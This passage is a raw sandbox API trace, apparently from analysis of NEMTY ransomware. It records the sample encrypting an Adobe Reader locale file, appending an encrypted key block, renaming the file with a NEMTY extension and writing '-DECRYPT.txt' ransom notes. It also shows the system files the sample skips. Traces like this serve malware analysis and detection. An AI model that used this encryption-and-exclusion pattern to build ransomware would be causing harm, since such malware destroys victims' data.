cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.658] Sleep (dwMilliseconds=0x5) [0186.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e8c9f0, dwHighDateTime=0x1d561e8)) [0186.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22e8c9f0, dwHighDateTime=0x1d561e8)) [0186.667] GetLastError () returned 0x0 [0186.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.668] GetLastError () returned 0x0 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.668] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.668] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.668] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.668] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="VAp3uV/Is7jOdSEJddef5He/0XpYZbYMs+9WagtAEVnNylJk2TW79S+AVbuXPxuE\r\nMA81OCw4Z+5tDgqaEztf2bHNCdqqWvg/c3Bi6NUqeV/ao+Ry4QXQ4ZfPvrcu1RQg\r\nj6P34NNnGVDazMySM7iw2ouedyldf4flM+AqoIijWtkRVe9q82mpDeumNZOEpXKH\r\nsDyT8hXXoFqpHXHSAaxy0s922hjX0qNH3vEwt3iGDfoHhRPqrbe4sbzc5cCGOl42\r\noH9hDOk6zmsZ62F1pc8xHhrE9cyhN7GVrxTAXX4FzYwBfoXljZU8y4GKAgthCNbT\r\nxUesOQ1Qf5yJeJOpALoypA==\r\n", pcchString=0x653e5dc) returned 1 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SendMail.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\sendmail.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.668] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0186.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0186.669] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.669] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0186.671] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.671] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0186.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.671] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0186.671] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.671] CloseHandle (hObject=0x2e8) returned 1 [0186.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.671] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SendMail.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\sendmail.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SendMail.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\sendmail.cht._nemty_kgobjgd_")) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.672] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0186.672] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0186.673] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0186.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.675] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.675] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0186.676] CloseHandle (hObject=0x2e8) returned 1 [0186.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.677] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.677] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.677] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0186.678] CloseHandle (hObject=0x2e8) returned 1 [0186.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.678] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22e8c9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22e8c9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0186.679] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0186.679] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22e8c9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22e8c9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.679] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0186.679] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0186.679] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0186.679] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0186.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.680] Sleep (dwMilliseconds=0x5) [0186.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x22eb2b50, dwHighDateTime=0x1d561e8)) [0186.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x22eb2b50, dwHighDateTime=0x1d561e8)) [0186.683] 